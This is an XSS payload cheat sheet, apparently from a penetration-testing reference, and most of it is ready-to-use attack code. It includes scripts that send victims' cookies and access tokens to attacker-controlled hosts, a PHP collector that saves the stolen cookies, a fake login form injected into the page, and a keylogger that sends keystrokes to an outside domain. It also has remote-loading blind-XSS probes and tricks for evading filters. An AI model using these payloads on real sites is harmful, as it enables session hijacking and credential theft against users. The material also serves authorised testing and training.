XSS - Cross Site Scripting
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

Exploit code or POC
Data grabber for XSS
Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>
Write the collected data into a file.
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
CORS
<script>
fetch('https://<SESSION>.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
UI redressing
Leverage the XSS to modify the HTML content of the page in order to display a fake login form.
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>
Javascript keylogger
Another way to collect sensitive data is to set a javascript keylogger.
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
Other ways
More exploits at http://www.xss-payloads.com/payloads-list.html?a#category=all:
Identify an XSS endpoint
This payload opens the debugger in the developper console rather than triggering a popup alert box.
<script>debugger;</script>
Modern applications with content hosting can use sandbox domains
to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.
For this reason, it's better to use alert(document.domain)
or alert(window.origin)
rather than alert(1)
as default XSS payload in order to know in which scope the XSS is actually executing.
Better payload replacing <script>alert(1)</script>
:
<script>alert(document.domain.concat("\n").concat(window.origin))</script>
While alert()
is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so console.log()
can be used instead to display a message in the console of the developper console (doesn't require any interaction).
Example:
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>

Tools
Most tools are also suitable for blind XSS attacks:
XSSStrike: Very popular but unfortunately not very well maintained
xsser: Utilizes a headless browser to detect XSS vulnerabilities
Dalfox: Extensive functionality and extremely fast thanks to the implementation in Go
XSpear: Similar to Dalfox but based on Ruby
domdig: Headless Chrome XSS Tester

Blind XSS
XSS Hunter
Available at https://xsshunter.com/app
XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.
"><script src=//yoursubdomain.xss.ht></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//yoursubdomain.xss.ht");a.send();</script>

Tips
You can use a Data grabber for XSS and a one-line HTTP server to confirm the existence of a blind XSS before deploying a heavy blind-XSS testing tool.
Eg. payload
<script>document.location='http://10.10.14.30:8080/XSS/grabber.php?c='+document.domain</script>
Eg. one-line HTTP server:
$ ruby -run -ehttpd . -p8080
Mutated XSS
Use browsers quirks to recreate some HTML tags when it is inside an element.innerHTML
.
Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Search. Technical blogposts available at https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ and https://research.securitum.com/dompurify-bypass-using-mxss/.

From @theMiddle - Using global variables
The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its index number instead the function name.
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
// 5
Then calling alert is :
Object.keys(self)[5]
// "alert"
self[Object.keys(self)[5]]("1") // alert("1")
We can find "alert" with a regular expression like ^a[rel]+t$ :
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a()
// then you can use a() with Object.keys
self[Object.keys(self)[a()]]("1") // alert("1")
Oneliner:
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")
